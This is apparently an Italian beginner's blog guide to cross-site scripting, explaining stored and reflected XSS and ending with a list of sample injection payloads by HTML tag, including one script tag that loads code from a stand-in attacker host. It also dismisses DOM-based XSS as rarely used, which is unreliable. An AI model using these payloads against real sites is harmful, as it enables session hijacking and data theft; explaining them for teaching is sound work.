Guida Base al Cross Site Scripting

Oramai quasi ogni giorno leggiamo sui media notizie relative ad attacchi haker. Sentiamo spesso parlare di determinate tipologie di attacchi tra cui il Cross Site Scripting (XSS). Questo tipo di attacco è molto noto e facile da eseguire. Ma che cosè l’XSS? Vediamo insieme in cosa consiste e perché occupa il terzo posto della classifica Top 10 OWASP Vunerability 2013.

Oggi va di moda tra i big di internet fare dei Bug Bounty Program per prevenire questo tipo di attacchi. Il Bug Bounty Program, non è nient’altro che un “accordo” tra utente e azienda che prevede la segnalazione di un bug di sicurezza, che verrà valutato successivamente dall’azienda per poi essere ricompensato economicamente.

Cross Site Scripting meglio conosciuto con la sigla XSS o CSS è generalmente noto per essere una delle tecniche hacking più utilizzate a livello applicativo.

Il Cross-Site Scripting è una tecnica di hacking che sfrutta delle vulnerabilità del codice dell’applicazione web e permette ad un hacker di inviare codice malevolo come un utente finale e collezionare un certo tipo di dati dalla vittima. Un attacco di questo tipo si verifica quando l’attaccante introduce del codice malevolo, di solito javascript,  in un form web. Un attacco XSS può avere effetti indesiderati sul sito web vittima. Per esempio, un attaccante può accedere e catturare le informazioni delle sessioni dei visitatori, analizzando i dati privati come indirizzi, username, password e carte di credito.

Se un sito internet non prende delle misure per arginare questo tipo di attacco può mettere a serio rischio i dati dei suoi utenti.

Un attacco XSS si suddivide in 2 categorie:

Persistente (Store XSS)

Non persistente (Reflected XSS)

Esiste anche un terzo tipo di attacco DOM Based di cui non parlerò perché è poco usato e poco efficace.

Persistente (Store XSS)

Questo tipo di attacco è il più pericoloso. L’attacco Store XSS è iniettato nel codice dove viene memorizzato sul server vittima, attraverso l’uso di database, e può colpire post nei forum, log dei visitatori o campi dei commenti…etc etc

La vittima caricherà a sua insaputa il codice malevolo una volta fatta la richiesta alla pagina compromessa. Dal momento che questo attacco richiede almeno due richieste all’applicazione essa può essere concatenata ad un secondo attacco XSS.

L’attacco Stored XSS può essere usato per effettuare una serie di attacchi basati sul browser. Tra cui: Hijacking del browser di un altro utente, cattura di informazioni visualizzate dall’utente dell’applicazione, pseudo defacement dell’applicazione (redirect, messaggi di avviso, alert, warning etc), attacco diretto con exploit mirati alla tipologia del browser usato, etc etc.

Non persistente (Reflected XSS)

Questa è la vulnerabilità più comune che troverete su internet. L’attacco non persistente o Reflected XSS avviene quando viene iniettato del codice malevolo nel sito vittima attraverso l’utilizzo indiretto del webserver il quale restituirà un messaggio di errore o una lista di risultati fatti da una ricerca includendo l’input malevolo come parte della richiesta.

Gli attacchi Reflected XSS vengono eseguiti sulla vittima utilizzando altre strade, come per esempio nel corpo di un email o da altri web server. Quando un utente viene invitato a cliccare su un link malevolo o compila un form appositamente creato dall’attaccante, il codice iniettato viaggia attraverso il webserver  vulnerabile che riflette l’attacco sull’utente. Il browser esegue il codice malevolo perché viene trasmesso da un web server fidato.

Di seguito qualche esempio di XSS divisi per i tag vulnerabili:

<Script>

< script type="text/javascript" src="http://hacker-website.com/xss.js"><script type="text/javascript">alert("XSS");</script>

<Body>

< body ONLOAD=alert('XSS')>

<IMG>

<img SRC="javascript:alert('XSS');"/>

Alre varianti che funzionano solo su alcuni tipi di browser.

<img DYNSRC="javascript:alert('XSS')"/><img LOWSRC="javascript:alert('XSS')"/>

<INPUT>

<input type="IMAGE" src="javascript:alert('XSS');" />

<LINK>

<link href="javascript:alert('XSS');" rel="stylesheet" />

Se avete qualche domanda utilizzate i commenti e sarò lieto di rispondervi ;-)

Cheers!